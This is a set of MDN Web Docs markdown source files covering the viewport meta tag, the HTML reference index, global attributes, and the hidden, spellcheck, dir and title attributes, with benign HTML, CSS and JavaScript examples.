``` It's that simple. Just prepare your code for any number of digits. Do not only prepare for 5 digits. Here is JavaScript code for programmatically setting the value: ```js function setValue(element, date) { const isoString = date.toISOString(); element.value = isoString.substring(0, isoString.indexOf("T") + 6); } ``` Why worry about the Y10K problem if it is going to happen many centuries after your death? Exactly because you will already be dead, so the companies using your software will be stuck using your software without any other coder who knows the system well enough to come in and fix it. ## See also - {{HTMLElement("input")}} - {{HTMLElement("ins")}} and {{HTMLElement("del")}}: see the `datetime` attribute, which specifies either a date or a local date and time at which the content was inserted or deleted - [The ISO 8601 specification](https://www.iso.org/iso-8601-date-and-time-format.html) - [Numbers and Dates](/en-US/docs/Web/JavaScript/Guide/Numbers_and_dates) in the [JavaScript Guide](/en-US/docs/Web/JavaScript/Guide) - The JavaScript {{jsxref("Date")}} object - The [`Intl.DateTimeFormat`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat) object for formatting dates and times for a given locale
0
data/mdn-content/files/en-us/web/html
data/mdn-content/files/en-us/web/html/viewport_meta_tag/index.md
--- title: Viewport meta tag slug: Web/HTML/Viewport_meta_tag page-type: guide spec-urls: https://drafts.csswg.org/css-viewport/#viewport-meta --- {{HTMLSidebar}} This article describes how to use the "viewport" `<meta>` tag to control the viewport's size and shape. ## Background The browser's {{glossary("viewport")}} is the area of the window in which web content can be seen. This is often not the same size as the rendered page, in which case the browser provides scrollbars for the user to scroll around and access all the content. Some mobile devices and other narrow screens render pages in a virtual window or viewport, which is usually wider than the screen, and then shrink the rendered result down so it can all be seen at once. Users can then zoom and pan to look more closely at different areas of the page. For example, if a mobile screen has a width of 640px, pages might be rendered with a virtual viewport of 980px, and then it will be shrunk down to fit into the 640px space. This is done because not all pages are optimized for mobile and break (or at least look bad) when rendered at a small viewport width. This virtual viewport is a way to make non-mobile-optimized sites in general look better on narrow screen devices. However, this mechanism is not so good for pages that are optimized for narrow screens using [media queries](/en-US/docs/Web/CSS/CSS_media_queries) — if the virtual viewport is 980px for example, media queries that kick in at 640px or 480px or less will never be used, limiting the effectiveness of such responsive design techniques. The viewport `<meta>` element mitigates this problem of virtual viewport on narrow screen devices. ## Viewport basics A typical mobile-optimized site contains something like the following: ```html <meta name="viewport" content="width=device-width, initial-scale=1" /> ``` Not all devices are the same width; you should make sure that your pages work well in a large variation of screen sizes and orientations. The basic attributes of the "viewport" `<meta>` element include: - `width` - : Controls the size of the viewport. It can be set to a specific number of pixels like `width=600` or to the special value `device-width`, which is [100vw](/en-US/docs/Web/CSS/length#relative_length_units_based_on_viewport), or 100% of the viewport width. Minimum: `1`. Maximum: `10000`. Negative values: ignored. - `height` - : Controls the size of the viewport. It can be set to a specific number of pixels like `height=400` or to the special value `device-height`, which is [100vh](/en-US/docs/Web/CSS/length#vh), or 100% of the viewport height. Minimum: `1`. Maximum: `10000`. Negative values: ignored. - `initial-scale` - : Controls the zoom level when the page is first loaded. Minimum: `0.1`. Maximum: `10`. Default: `1`. Negative values: ignored. - `minimum-scale` - : Controls how much zoom out is allowed on the page. Minimum: `0.1`. Maximum: `10`. Default: `0.1`. Negative values: ignored. - `maximum-scale` - : Controls how much zoom in is allowed on the page. Any value less than 3 fails accessibility. Minimum: `0.1`. Maximum: `10`. Default: `10`. Negative values: ignored. - `user-scalable` - : Controls whether zoom in and zoom out actions are allowed on the page. Valid values: `0`, `1`, `yes`, or `no`. Default: `1`, which is the same as `yes`. Setting the value to `0`, which is the same as `no`, is against Web Content Accessibility Guidelines (WCAG). - `interactive-widget` - : Specifies the effect that interactive UI widgets, such as a virtual keyboard, have on the page's viewports. Valid values: `resizes-visual`, `resizes-content`, or `overlays-content`. Default: `resizes-visual`. > **Warning:** Usage of `user-scalable=no` can cause accessibility issues to users with visual impairments such as low vision. [WCAG](/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#guideline_1.4_make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background) requires a minimum of 2× scaling; however, the best practice is to enable a 5× zoom. ## Screen density Screen resolutions have risen to the size that individual pixels are indistinguishable by the human eye. For example, smartphones often have small screens with resolutions upwards of 1920–1080 pixels (≈400dpi). Because of this, many browsers can display their pages in a smaller physical size by translating multiple hardware pixels for each CSS "pixel". Initially, this caused usability and readability problems on many touch-optimized websites. On high dpi screens, pages with `initial-scale=1` will effectively be zoomed by browsers. Their text will be smooth and crisp, but their bitmap images may not take advantage of the full screen resolution. To get sharper images on these screens, web developers may want to design images – or whole layouts – at a higher scale than their final size and then scale them down using CSS or viewport properties. The default pixel ratio depends on the display density. On a display with density less than 200dpi, the ratio is 1.0. On displays with density between 200 and 300dpi, the ratio is 1.5. For displays with density over 300dpi, the ratio is the integer floor (_density_/150dpi). Note that the default ratio is true only when the viewport scale equals 1. Otherwise, the relationship between CSS pixels and device pixels depends on the current zoom level. ## Viewport width and screen width Sites can set their viewport to a specific size. For example, the definition `"width=320, initial-scale=1"` can be used to fit precisely onto a small phone display in portrait mode. This can cause problems when the browser renders a page at a larger size. To fix this, browsers will expand the viewport width if necessary to fill the screen at the requested scale. This is especially useful on large-screen devices. For pages that set an initial or maximum scale, this means the `width` property actually translates into a _minimum_ viewport width. For example, if your layout needs at least 500 pixels of width then you can use the following markup. When the screen is more than 500 pixels wide, the browser will expand the viewport (rather than zoom in) to fit the screen: ```html <meta name="viewport" content="width=500, initial-scale=1" /> ``` Other [attributes](/en-US/docs/Web/HTML/Element/meta#attributes) that are available are `minimum-scale`, `maximum-scale`, and `user-scalable`. These properties affect the initial scale and width, as well as limiting changes in zoom level. ## The effect of interactive UI widgets Interactive UI widgets of the browser can influence the size of the page's viewports. The most common such UI widget is a virtual keyboard. To control which resize behavior the browser should use, set the `interactive-widget` property. Allowed values are: - `resizes-visual` - : The {{Glossary("visual viewport")}} gets resized by the interactive widget. - `resizes-content` - : The {{Glossary("viewport")}} gets resized by the interactive widget. - `overlays-content` - : Neither the {{Glossary("viewport")}} nor the {{Glossary("visual viewport")}} gets resized by the interactive widget. When the {{Glossary("viewport")}} gets resized, the initial [containing block](/en-US/docs/Web/CSS/Containing_block) also gets resized, thereby affecting the computed size of [viewport units](/en-US/docs/Web/CSS/length#viewport-percentage_lengths). ## Common viewport sizes for mobile and tablet devices If you want to know what mobile and tablet devices have which viewport widths, there is a comprehensive list of [mobile and tablet viewport sizes here](https://experienceleague.adobe.com/docs/target/using/experiences/vec/mobile-viewports.html). This gives information such as viewport width on portrait and landscape orientation as well as physical screen size, operating system and the pixel density of the device. ## Specifications {{Specifications}} ## See also - Article: [Prepare for viewport resize behavior changes coming to Chrome on Android](https://developer.chrome.com/blog/viewport-resize-behavior/)
0
data/mdn-content/files/en-us/web/html
data/mdn-content/files/en-us/web/html/reference/index.md
--- title: HTML reference slug: Web/HTML/Reference page-type: landing-page --- {{HTMLSidebar}} This [HTML](/en-US/docs/Web/HTML) reference describes all **elements** and **attributes** of HTML, including **global attributes** that apply to all elements. - [HTML element reference](/en-US/docs/Web/HTML/Element) - : This page lists all the HTML elements, which are created using tags. - [HTML attribute reference](/en-US/docs/Web/HTML/Attributes) - : Elements in HTML have attributes; these are additional values that configure the elements or adjust their behavior in various ways to meet the criteria the users want. - [Global attributes](/en-US/docs/Web/HTML/Global_attributes) - : Global attributes are attributes common to all HTML elements; they can be used on all elements, though they may have no effect on some elements. - [Content categories](/en-US/docs/Web/HTML/Content_categories) - : Every HTML element is a member of one or more content categories — these categories group elements that share common characteristics. - [Date and time formats used in HTML](/en-US/docs/Web/HTML/Date_and_time_formats) - : Certain HTML elements allow you to specify dates and/or times as the value or as the value of an attribute. These include the date and time variations of the {{HTMLElement("input")}} element as well as the {{HTMLElement("ins")}} and {{HTMLElement("del")}} elements.
0
data/mdn-content/files/en-us/web/html
data/mdn-content/files/en-us/web/html/global_attributes/index.md
--- title: Global attributes slug: Web/HTML/Global_attributes page-type: landing-page browser-compat: html.global_attributes --- {{HTMLSidebar("Global_attributes")}} **Global attributes** are attributes common to all HTML elements; they can be used on all elements, though they may have no effect on some elements. Global attributes may be specified on all [HTML elements](/en-US/docs/Web/HTML/Element), _even those not specified in the standard_. That means that any non-standard elements must still permit these attributes, even though using those elements means that the document is no longer HTML5-compliant. For example, HTML5-compliant browsers hide content marked as `<foo hidden>…</foo>`, even though `<foo>` is not a valid HTML element. In addition to the basic HTML global attributes, the following global attributes also exist: - `xml:lang` and `xml:base` — these are inherited from the XHTML specifications and deprecated, but kept for compatibility purposes. - The ARIA [`role`](/en-US/docs/Web/Accessibility/ARIA/Roles) attribute and the multiple [`aria-*`](/en-US/docs/Web/Accessibility/ARIA/Attributes) states and properties, used for ensuring accessibility. - The [event handler](/en-US/docs/Web/HTML/Attributes#event_handler_attributes) attributes: `onabort`, `onautocomplete`, `onautocompleteerror`, `onblur`, `oncancel`, `oncanplay`, `oncanplaythrough`, `onchange`, `onclick`, `onclose`, `oncontextmenu`, `oncuechange`, `ondblclick`, `ondrag`, `ondragend`, `ondragenter`, `ondragleave`, `ondragover`, `ondragstart`, `ondrop`, `ondurationchange`, `onemptied`, `onended`, `onerror`, `onfocus`, `oninput`, `oninvalid`, `onkeydown`, `onkeypress`, `onkeyup`, `onload`, `onloadeddata`, `onloadedmetadata`, `onloadstart`, `onmousedown`, `onmouseenter`, `onmouseleave`, `onmousemove`, `onmouseout`, `onmouseover`, `onmouseup`, `onmousewheel`, `onpause`, `onplay`, `onplaying`, `onprogress`, `onratechange`, `onreset`, `onresize`, `onscroll`, `onseeked`, `onseeking`, `onselect`, `onshow`, `onsort`, `onstalled`, `onsubmit`, `onsuspend`, `ontimeupdate`, `ontoggle`, `onvolumechange`, `onwaiting`. ## List of global attributes - [`accesskey`](/en-US/docs/Web/HTML/Global_attributes/accesskey) - : Provides a hint for generating a keyboard shortcut for the current element. This attribute consists of a space-separated list of characters. The browser should use the first one that exists on the computer keyboard layout. - [`autocapitalize`](/en-US/docs/Web/HTML/Global_attributes/autocapitalize) - : Controls whether inputted text is automatically capitalized and, if so, in what manner. - [`autofocus`](/en-US/docs/Web/HTML/Global_attributes/autofocus) - : Indicates that an element is to be focused on page load, or as soon as the {{HTMLElement("dialog")}} it is part of is displayed. This attribute is a boolean, initially false. - [`class`](/en-US/docs/Web/HTML/Global_attributes/class) - : A space-separated list of the classes of the element. Classes allow CSS and JavaScript to select and access specific elements via the [class selectors](/en-US/docs/Web/CSS/Class_selectors) or functions like the method {{DOMxRef("Document.getElementsByClassName()")}}. - [`contenteditable`](/en-US/docs/Web/HTML/Global_attributes/contenteditable) - : An [enumerated](/en-US/docs/Glossary/Enumerated) attribute indicating if the element should be editable by the user. If so, the browser modifies its widget to allow editing. The attribute must take one of the following values: - `true` or the _empty string_, which indicates that the element must be editable; - `false`, which indicates that the element must not be editable. - [`contextmenu`](/en-US/docs/Web/HTML/Global_attributes/contextmenu) {{deprecated_inline}} {{non-standard_inline}} - : The [**`id`**](#id) of a {{HTMLElement("menu")}} to use as the contextual menu for this element. - [`data-*`](/en-US/docs/Web/HTML/Global_attributes/data-*) - : Forms a class of attributes, called custom data attributes, that allow proprietary information to be exchanged between the [HTML](/en-US/docs/Web/HTML) and its {{glossary("DOM")}} representation that may be used by scripts. All such custom data are available via the {{DOMxRef("HTMLElement")}} interface of the element the attribute is set on. The {{DOMxRef("HTMLElement.dataset")}} property gives access to them. - [`dir`](/en-US/docs/Web/HTML/Global_attributes/dir) - : An enumerated attribute indicating the directionality of the element's text. It can have the following values: - `ltr`, which means _left to right_ and is to be used for languages that are written from the left to the right (like English); - `rtl`, which means _right to left_ and is to be used for languages that are written from the right to the left (like Arabic); - `auto`, which lets the user agent decide. It uses a basic algorithm as it parses the characters inside the element until it finds a character with a strong directionality, then it applies that directionality to the whole element. - [`draggable`](/en-US/docs/Web/HTML/Global_attributes/draggable) - : An enumerated attribute indicating whether the element can be dragged, using the [Drag and Drop API](/en-US/docs/Web/API/HTML_Drag_and_Drop_API). It can have the following values: - `true`, which indicates that the element may be dragged - `false`, which indicates that the element may not be dragged. - [`enterkeyhint`](/en-US/docs/Web/HTML/Global_attributes/enterkeyhint) - : Hints what action label (or icon) to present for the enter key on virtual keyboards. - [`exportparts`](/en-US/docs/Web/HTML/Global_attributes/exportparts) - : Used to transitively export shadow parts from a nested shadow tree into a containing light tree. - [`hidden`](/en-US/docs/Web/HTML/Global_attributes/hidden) - : An enumerated attribute indicating that the element is not yet, or is no longer, _relevant_. For example, it can be used to hide elements of the page that can't be used until the login process has been completed. The browser won't render such elements. This attribute must not be used to hide content that could legitimately be shown. - [`id`](/en-US/docs/Web/HTML/Global_attributes/id) - : Defines a unique identifier (ID) which must be unique in the whole document. Its purpose is to identify the element when linking (using a fragment identifier), scripting, or styling (with CSS). - [`inert`](/en-US/docs/Web/HTML/Global_attributes/inert) - : A boolean value that makes the browser disregard user input events for the element. Useful when click events are present. - [`inputmode`](/en-US/docs/Web/HTML/Global_attributes/inputmode) - : Provides a hint to browsers about the type of virtual keyboard configuration to use when editing this element or its contents. Used primarily on {{HTMLElement("input")}} elements, but is usable on any element while in [`contenteditable`](#contenteditable) mode. - [`is`](/en-US/docs/Web/HTML/Global_attributes/is) - : Allows you to specify that a standard HTML element should behave like a registered custom built-in element (see [Using custom elements](/en-US/docs/Web/API/Web_components/Using_custom_elements) for more details). > **Note:** The `item*` attributes are part of the [WHATWG HTML Microdata feature](https://html.spec.whatwg.org/multipage/microdata.html#microdata). - [`itemid`](/en-US/docs/Web/HTML/Global_attributes/itemid) - : The unique, global identifier of an item. - [`itemprop`](/en-US/docs/Web/HTML/Global_attributes/itemprop) - : Used to add properties to an item. Every HTML element may have an `itemprop` attribute specified, where an `itemprop` consists of a name and value pair. - [`itemref`](/en-US/docs/Web/HTML/Global_attributes/itemref) - : Properties that are not descendants of an element with the `itemscope` attribute can be associated with the item using an `itemref`. It provides a list of element ids (not `itemid`s) with additional properties elsewhere in the document. - [`itemscope`](/en-US/docs/Web/HTML/Global_attributes/itemscope) - : `itemscope` (usually) works along with [`itemtype`](/en-US/docs/Web/HTML/Global_attributes/itemtype) to specify that the HTML contained in a block is about a particular item. `itemscope` creates the Item and defines the scope of the `itemtype` associated with it. `itemtype` is a valid URL of a vocabulary (such as [schema.org](https://schema.org/)) that describes the item and its properties context. - [`itemtype`](/en-US/docs/Web/HTML/Global_attributes/itemtype) - : Specifies the URL of the vocabulary that will be used to define `itemprop`s (item properties) in the data structure. [`itemscope`](/en-US/docs/Web/HTML/Global_attributes/itemscope) is used to set the scope of where in the data structure the vocabulary set by `itemtype` will be active. - [`lang`](/en-US/docs/Web/HTML/Global_attributes/lang) - : Helps define the language of an element: the language that non-editable elements are in, or the language that editable elements should be written in by the user. The attribute contains one "language tag" (made of hyphen-separated "language subtags") in the format defined in {{RFC(5646, "Tags for Identifying Languages (also known as BCP 47)")}}. `xml:lang` has priority over it. - [`nonce`](/en-US/docs/Web/HTML/Global_attributes/nonce) - : A cryptographic nonce ("number used once") which can be used by [Content Security Policy](/en-US/docs/Web/HTTP/CSP) to determine whether or not a given fetch will be allowed to proceed. - [`part`](/en-US/docs/Web/HTML/Global_attributes/part) - : A space-separated list of the part names of the element. Part names allows CSS to select and style specific elements in a shadow tree via the {{CSSxRef("::part")}} pseudo-element. - [`popover`](/en-US/docs/Web/HTML/Global_attributes/popover) - : Used to designate an element as a popover element (see {{domxref("Popover API", "Popover API", "", "nocode")}}). Popover elements are hidden via `display: none` until opened via an invoking/control element (i.e. a `<button>` or `<input type="button">` with a [`popovertarget`](/en-US/docs/Web/HTML/Element/button#popovertarget) attribute) or a {{domxref("HTMLElement.showPopover()")}} call. - [`role`](/en-US/docs/Web/Accessibility/ARIA/Roles) - : Roles define the semantic meaning of content, allowing screen readers and other tools to present and support interaction with an object in a way that is consistent with user expectations of that type of object. `roles` are added to HTML elements using `role="role_type"`, where `role_type` is the name of a role in the ARIA specification. - [`slot`](/en-US/docs/Web/HTML/Global_attributes/slot) - : Assigns a slot in a [shadow DOM](/en-US/docs/Web/API/Web_components/Using_shadow_DOM) shadow tree to an element: An element with a `slot` attribute is assigned to the slot created by the {{HTMLElement("slot")}} element whose [`name`](/en-US/docs/Web/HTML/Element/slot#name) attribute's value matches that `slot` attribute's value. - [`spellcheck`](/en-US/docs/Web/HTML/Global_attributes/spellcheck) - : An enumerated attribute defines whether the element may be checked for spelling errors. It may have the following values: - empty string or `true`, which indicates that the element should be, if possible, checked for spelling errors; - `false`, which indicates that the element should not be checked for spelling errors. - [`style`](/en-US/docs/Web/HTML/Global_attributes/style) - : Contains [CSS](/en-US/docs/Web/CSS) styling declarations to be applied to the element. Note that it is recommended for styles to be defined in a separate file or files. This attribute and the {{HTMLElement("style")}} element have mainly the purpose of allowing for quick styling, for example for testing purposes. - [`tabindex`](/en-US/docs/Web/HTML/Global_attributes/tabindex) - : An integer attribute indicating if the element can take input focus (is _focusable_), if it should participate to sequential keyboard navigation, and if so, at what position. It can take several values: - a _negative value_ means that the element should be focusable, but should not be reachable via sequential keyboard navigation; - `0` means that the element should be focusable and reachable via sequential keyboard navigation, but its relative order is defined by the platform convention; - a _positive value_ means that the element should be focusable and reachable via sequential keyboard navigation; the order in which the elements are focused is the increasing value of the [**tabindex**](#tabindex). If several elements share the same tabindex, their relative order follows their relative positions in the document. - [`title`](/en-US/docs/Web/HTML/Global_attributes/title) - : Contains a text representing advisory information related to the element it belongs to. Such information can typically, but not necessarily, be presented to the user as a tooltip. - [`translate`](/en-US/docs/Web/HTML/Global_attributes/translate) - : An enumerated attribute that is used to specify whether an element's attribute values and the values of its {{DOMxRef("Text")}} node children are to be translated when the page is localized, or whether to leave them unchanged. It can have the following values: - empty string or `yes`, which indicates that the element will be translated. - `no`, which indicates that the element will not be translated. - [`virtualkeyboardpolicy`](/en-US/docs/Web/HTML/Global_attributes/virtualkeyboardpolicy) {{Experimental_Inline}} - : An [enumerated](/en-US/docs/Glossary/Enumerated) attribute used to control the on-screen virtual keyboard behavior on devices such as tablets, mobile phones, or other devices where a hardware keyboard may not be available for elements that its content is editable (for example, it is an {{htmlelement("input")}} or {{htmlelement("textarea")}} element, or an element with the [`contenteditable`](/en-US/docs/Web/HTML/Global_attributes/contenteditable) attribute set). - `auto` or an _empty string_, which automatically shows the virtual keyboard when the element is focused or tapped. - `manual`, which decouples focus and tap on the element from the virtual keyboard's state. ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - {{DOMxRef("Element")}} interface that allows querying most global attributes.
0
data/mdn-content/files/en-us/web/html/global_attributes
data/mdn-content/files/en-us/web/html/global_attributes/hidden/index.md
--- title: hidden slug: Web/HTML/Global_attributes/hidden page-type: html-attribute browser-compat: html.global_attributes.hidden --- {{HTMLSidebar("Global_attributes")}} The **`hidden`** [global attribute](/en-US/docs/Web/HTML/Global_attributes) is an {{Glossary("enumerated")}} attribute indicating that the browser should not render the contents of the element. For example, it can be used to hide elements of the page that can't be used until the login process has been completed. {{EmbedInteractiveExample("pages/tabbed/attribute-hidden.html","tabbed-shorter")}} ## Description The `hidden` attribute is used to indicate that the content of an element should not be presented to the user. This attribute can take any one of the following values: - an empty string - the keyword `hidden` - the keyword `until-found` There are two states associated with the `hidden` attribute: the _hidden_ state and the _hidden until found_ state. - An empty string, or the keyword `hidden`, set the element to the _hidden_ state. Additionally, invalid values set the element to the _hidden_ state. - The keyword `until-found` sets the element to the _hidden until found_ state. Thus, all the following set the element to the [_hidden_](#the_hidden_state) state: ```html <span hidden>I'm hidden</span> <span hidden="">I'm also hidden</span> <span hidden="hidden">I'm hidden too!</span> ``` The following sets the element to the [_hidden until found_](#the_hidden_until_found_state) state: ```html <span hidden="until-found">I'm hidden until found</span> ``` The `hidden` attribute must not be used to hide content just from one presentation. If something is marked hidden, it is hidden from all presentations, including, for instance, screen readers. Hidden elements shouldn't be linked from non-hidden elements. For example, it would be incorrect to use the `href` attribute to link to a section marked with the `hidden` attribute. If the content is not applicable or relevant, then there is no reason to link to it. It would be fine, however, to use the ARIA [`aria-describedby`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-describedby) attribute to refer to descriptions that are themselves hidden. While hiding the descriptions implies that they are not useful on their own, they could be written in such a way that they are useful in the specific context of being referenced from the element that they describe. Similarly, a canvas element with the `hidden` attribute could be used by a scripted graphics engine as an off-screen buffer, and a form control could refer to a hidden form element using its form attribute. Elements that are descendants of a hidden element are still active, which means that script elements can still execute and form elements can still submit. ### The hidden state The _hidden_ state indicates that the element is not currently relevant to the page, or that it is being used to declare content for reuse by other parts of the page and should not be directly presented to the user. The browser will not render elements that are in the _hidden_ state. Web browsers may implement the _hidden_ state using `display: none`, in which case the element will not participate in page layout. This also means that changing the value of the CSS {{cssxref("display")}} property on an element in the _hidden_ state will override the state. For instance, elements styled `display: block` will be displayed despite the `hidden` attribute's presence. ### The hidden until found state In the _hidden until found_ state, the element is hidden but its content will be accessible to the browser's "find in page" feature or to fragment navigation. When these features cause a scroll to an element in a _hidden until found_ subtree, the browser will: - fire a [`beforematch`](/en-US/docs/Web/API/Element/beforematch_event) event on the hidden element - remove the `hidden` attribute from the element - scroll to the element This enables a developer to collapse a section of content, but make it searchable and accessible via fragment navigation. Note that browsers typically implement _hidden until found_ using {{cssxref("content-visibility", "content-visibility: hidden")}}. This means that unlike elements in the _hidden_ state, elements in the _hidden until found_ state will have generated boxes, meaning that: - the element will participate in page layout - margin, borders, padding, and background for the element will be rendered. Also, the element needs to be affected by [layout containment](/en-US/docs/Web/CSS/CSS_containment) in order to be revealed. This means that if the element in the _hidden until found_ state has a `display` value of `none`, `contents`, or `inline`, then the element will not be revealed by find in page or fragment navigation. ## Examples ### Using until-found In this example we have: - Three {{HTMLElement("div")}} elements. The first and the third are not hidden, while the second has `hidden="until-found"`and `id="until-found-box"` attributes. - A link whose target is the `"until-found-box"` fragment. The hidden until found element has a dotted red border and a gray background. We also have some JavaScript that listens for the `beforematch` event firing on the hidden until found element. The event handler changes the text content of the box. #### HTML ```html <a href="#until-found-box">Go to hidden content</a> <div>I'm not hidden</div> <div id="until-found-box" hidden="until-found">Hidden until found</div> <div>I'm not hidden</div> ``` ```html hidden <button id="reset">Reset</button> ``` #### CSS ```css div { height: 40px; width: 300px; border: 5px dashed black; margin: 1rem 0; padding: 1rem; font-size: 2rem; } div#until-found-box { color: red; border: 5px dotted red; background-color: lightgray; } ``` ```css hidden #until-found-box { scroll-margin-top: 200px; } ``` #### JavaScript ```js const untilFound = document.querySelector("#until-found-box"); untilFound.addEventListener( "beforematch", () => (untilFound.textContent = "I've been revealed!"), ); ``` ```js hidden document.querySelector("#reset").addEventListener("click", () => { document.location.hash = ""; document.location.reload(); }); ``` #### Result Note that although the content of the element is hidden, the element still has a generated box, occupying space in the layout and with background and borders rendered. Clicking the "Go to hidden content" button navigates to the hidden until found element. The `beforematch` event fires, the text content is updated, and the element content is displayed. To run the example again, click "Reset". {{EmbedLiveSample("Using until-found", "", 400)}} ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - {{DOMxRef("HTMLElement.hidden")}} - All [global attributes](/en-US/docs/Web/HTML/Global_attributes) - The [`aria-hidden`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-hidden) attribute - The [`beforematch`](/en-US/docs/Web/API/Element/beforematch_event) event
0
data/mdn-content/files/en-us/web/html/global_attributes
data/mdn-content/files/en-us/web/html/global_attributes/spellcheck/index.md
--- title: spellcheck slug: Web/HTML/Global_attributes/spellcheck page-type: html-attribute browser-compat: html.global_attributes.spellcheck --- {{HTMLSidebar("Global_attributes")}} The **`spellcheck`** [global attribute](/en-US/docs/Web/HTML/Global_attributes) is an [enumerated](/en-US/docs/Glossary/Enumerated) attribute that defines whether the element may be checked for spelling errors. > **Note:** This attribute is merely a hint for the browser: browsers are not required to check for spelling errors. Typically non-editable elements are not checked for spelling errors, even if the `spellcheck` attribute is set to `true` and the browser supports spellchecking. {{EmbedInteractiveExample("pages/tabbed/attribute-spellcheck.html","tabbed-shorter")}} It may have the following values: - empty string or `true`, which indicates that the element should be, if possible, checked for spelling errors; - `false`, which indicates that the element should not be checked for spelling errors. If this attribute is not set, its default value is element-type and browser-defined. This default value may also be _inherited_, which means that the element content will be checked for spelling errors only if its nearest ancestor has a _spellcheck_ state of `true`. ## Security and privacy concerns Using spellchecking can have consequences for users' security and privacy. The specification does not regulate _how_ spellchecking is done and the content of the element may be sent to a third party for spellchecking results (see [enhanced spellchecking and "spell-jacking"](https://www.otto-js.com/news/article/chrome-and-edge-enhanced-spellcheck-features-expose-pii-even-your-passwords)). You should consider setting `spellcheck` to `false` for elements that can contain sensitive information. ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - All [global attributes](/en-US/docs/Web/HTML/Global_attributes).
0
data/mdn-content/files/en-us/web/html/global_attributes
data/mdn-content/files/en-us/web/html/global_attributes/dir/index.md
--- title: dir slug: Web/HTML/Global_attributes/dir page-type: html-attribute browser-compat: html.global_attributes.dir --- {{HTMLSidebar("Global_attributes")}} The **`dir`** [global attribute](/en-US/docs/Web/HTML/Global_attributes) is an [enumerated](/en-US/docs/Glossary/Enumerated) attribute that indicates the directionality of the element's text. {{EmbedInteractiveExample("pages/tabbed/attribute-dir.html","tabbed-standard")}} It can have the following values: - `ltr`, which means _left to right_ and is to be used for languages that are written from the left to the right (like English); - `rtl`, which means _right to left_ and is to be used for languages that are written from the right to the left (like Arabic); - `auto`, which lets the user agent decide. It uses a basic algorithm as it parses the characters inside the element until it finds a character with a strong directionality, then applies that directionality to the whole element. > **Note:** This attribute is mandatory for the {{ HTMLElement("bdo") }} element where it has a different semantic meaning. > > - This attribute is _not_ inherited by the {{ HTMLElement("bdi") }} element. If not set, its value is `auto`. > - This attribute can be overridden by the CSS properties {{ cssxref("direction") }} and {{ cssxref("unicode-bidi") }}, if a CSS page is active and the element supports these properties. > - As the directionality of the text is semantically related to its content and not to its presentation, it is recommended that web developers use this attribute instead of the related CSS properties when possible. That way, the text will display correctly even on a browser that doesn't support CSS or has the CSS deactivated. > - The `auto` value should be used for data with an unknown directionality, like data coming from user input, eventually stored in a database. > **Note:** Browsers might allow users to change the directionality of {{ HTMLElement("input") }} and {{ HTMLElement("textarea") }}s in order to assist with authoring content. Chrome and Safari provide a directionality option in the contextual menu of input fields while Legacy Edge uses the key combinations <kbd>Ctrl</kbd> + <kbd>Left Shift</kbd> and <kbd>Ctrl</kbd> + <kbd>Right Shift</kbd>. Firefox uses <kbd>Ctrl</kbd>/<kbd>Cmd</kbd> + <kbd>Shift</kbd> + <kbd>X</kbd> but does NOT update the **`dir`** attribute value. ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - All [global attributes](/en-US/docs/Web/HTML/Global_attributes). - {{domxref("HTMLElement.dir")}} that reflects this attribute.
0
data/mdn-content/files/en-us/web/html/global_attributes
data/mdn-content/files/en-us/web/html/global_attributes/title/index.md
--- title: title slug: Web/HTML/Global_attributes/title page-type: html-attribute browser-compat: html.global_attributes.title --- {{HTMLSidebar("Global_attributes")}} The **`title`** [global attribute](/en-US/docs/Web/HTML/Global_attributes) contains text representing advisory information related to the element it belongs to. {{EmbedInteractiveExample("pages/tabbed/attribute-title.html","tabbed-shorter")}} The main use of the `title` attribute is to label {{HTMLElement("iframe")}} elements for assistive technology. The `title` attribute may also be used to label controls in [data tables](/en-US/docs/Web/HTML/Element/table). The `title` attribute, when added to [`<link rel="stylesheet">`](/en-US/docs/Web/HTML/Element/link), creates an alternate stylesheet. When defining an alternative style sheet with `<link rel="alternate">` the attribute is required and must be set to a non-empty string. If included on the {{htmlelement('abbr')}} opening tag, the `title` must be a full expansion of the abbreviation or acronym. Instead of using `title`, when possible, provide an expansion of the abbreviation or acronym in plain text on first use, using the `<abbr>` to mark up the abbreviation. This enables all users know what name or term the abbreviation or acronym shortens while providing a hint to user agents on how to announce the content. While `title` can be used to provide a programmatically associated label for an {{HTMLElement("input")}} element, this is not good practice. Use a {{HTMLElement("label")}} instead. ## Multiline titles The `title` attribute may contain several lines. Each `U+000A LINE FEED` (`LF`) character represents a line break. Some caution must be taken, as this means the following renders across two lines: ### HTML ```html <p> Newlines in <code>title</code> should be taken into account. This <span title="This is a multiline title"> example span </span> has a title a attribute with a newline. </p> <hr /> <pre id="output"></pre> ``` ### JavaScript We can query the `title` attribute and display it in the empty `<pre>` element as follows: ```js const span = document.querySelector("span"); const output = document.querySelector("#output"); output.textContent = span.title; ``` ### Result {{EmbedLiveSample('Multiline_titles')}} ## Title attribute inheritance If an element has no `title` attribute, then it inherits it from its parent node, which in turn may inherit it from its parent, and so on. If this attribute is set to the empty string, it means its ancestors' `title`s are irrelevant and shouldn't be used in the tooltip for this element. ### HTML ```html <div title="CoolTip"> <p>Hovering here will show "CoolTip".</p> <p title="">Hovering here will show nothing.</p> </div> ``` ### Result {{EmbedLiveSample('Title_attribute_inheritance')}} ## Accessibility concerns Use of the `title` attribute is highly problematic for: - People using touch-only devices - People navigating with keyboards - People navigating with assistive technology such as screen readers or magnifiers - People experiencing fine motor control impairment - People with cognitive concerns This is due to inconsistent browser support, compounded by the additional assistive technology parsing of the browser-rendered page. If a tooltip effect is desired, it is better to [use a more accessible technique](https://inclusive-components.design/tooltips-toggletips/) that can be accessed with the above browsing methods. - [3.2.5.1. The title attribute | W3C HTML 5.2: 3. Semantics, structure, and APIs of HTML documents](https://html.spec.whatwg.org/multipage/dom.html#the-title-attribute) - [Using the HTML title attribute – updated | The Paciello Group](https://www.tpgi.com/using-the-html-title-attribute-updated/) - [Tooltips & Toggletips - Inclusive Components](https://inclusive-components.design/tooltips-toggletips/) - [The Trials and Tribulations of the Title Attribute - 24 Accessibility](https://www.24a11y.com/2017/the-trials-and-tribulations-of-the-title-attribute/) ## Specifications {{Specifications}} 